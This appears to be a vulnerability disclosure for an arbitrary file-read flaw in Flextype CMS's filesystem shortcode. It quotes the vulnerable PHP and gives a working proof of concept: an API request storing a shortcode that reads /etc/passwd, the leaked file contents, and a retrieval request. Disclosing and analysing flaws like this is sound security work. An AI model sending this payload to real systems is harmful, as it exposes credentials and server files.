Flextype CMS 1.0.0-alpha.3 Arbitrary File Read

Description
    
    Flextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability
    in its stored shortcode processing functionality. Attacker-controlled entry
    fields are automatically processed by the shortcode parser when global
    shortcode processing is enabled.
    
    The built-in filesystem shortcode accepts a file path and returns the
    contents of the specified file without restricting the path to an approved
    application directory.
    
    An attacker capable of storing shortcode syntax within an entry can
    therefore cause Flextype to read arbitrary files accessible to the PHP
    process.
    
    Testing confirmed exploitation by storing a filesystem shortcode
    referencing /etc/passwd. Flextype returned the contents of /etc/passwd
    while processing the entry and returned the file contents again during
    subsequent normal retrieval of the stored entry.
    Impact
    
    An attacker can retrieve arbitrary files readable by the Flextype PHP
    process.
    
    Potentially exposed information includes application configuration,
    credentials, API keys, database connection information, source code,
    operating-system files, and other application secrets.
    
    Unlike the previously identified ExpressionsDirective file-read
    vulnerability, this vulnerability reaches filesystem functionality through
    Flextype's shortcode parser and FilesystemShortcode implementation.
    DetailsAutomatic Shortcode Processing
    
    Entry fields are passed to the shortcode parser:
    
    if (is_string($field['value'])) {
        if (strings($field['value'])->contains('@shortcodes')) {
            $field['value'] = strings(
                parsers()->shortcodes()->parse($field['value'])
            )->replace('@shortcodes', '')->trim()->toString();
        } elseif (
            registry()->get(
                'flextype.settings.entries.directives.shortcodes.enabled_globally'
            )
        ) {
            $field['value'] = parsers()->shortcodes()->parse($field['value']);
        }
    }
    
    Filesystem Shortcode
    
    The filesystem shortcode accepts the supplied file parameter and returns
    its contents:
    
    if (
        collection(array_keys($params))
            ->filter(static fn ($v) => $v === 'get')
            ->count() > 0 &&
        isset($params['file']) &&
        registry()->get(
            'flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled'
        ) === true
    ) {
        $file = parsers()->shortcodes()->parse($params['file']);
    
        return filesystem()->file($file)->exists()
            ? filesystem()->file($file)->get()
            : '';
    }
    
    No filesystem containment restriction is applied to $file before it is read.
    Proof of Concept
    
    The following entry contains a filesystem shortcode targeting /etc/passwd:
    
    POST /api/v1/entries HTTP/1.1
    Host: 127.0.0.1:18086
    Content-Type: application/json
    
    {"token":"lab-token","access_token":"password","id":"shortcode-file-proof","data":{"title":"(filesystem
    get file:'/etc/passwd')"}}
    
    Flextype returned the contents of /etc/passwd within the processed title:
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    ...
    
    The stored entry was subsequently requested normally:
    
    GET /api/v1/entries?token=lab-token&id=shortcode-file-proof HTTP/1.1
    Host: 127.0.0.1:18086
    
    The response again contained /etc/passwd, demonstrating stored arbitrary
    file read during normal entry processing.
    Root Cause
    
    The vulnerability occurs because attacker-controllable stored entry content
    is interpreted by the shortcode parser and the filesystem shortcode accepts
    unrestricted filesystem paths.
    
    The affected code ultimately performs:
    
    filesystem()->file($file)->get()
    
    without verifying that the canonicalized path resides within an explicitly
    permitted directory.
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>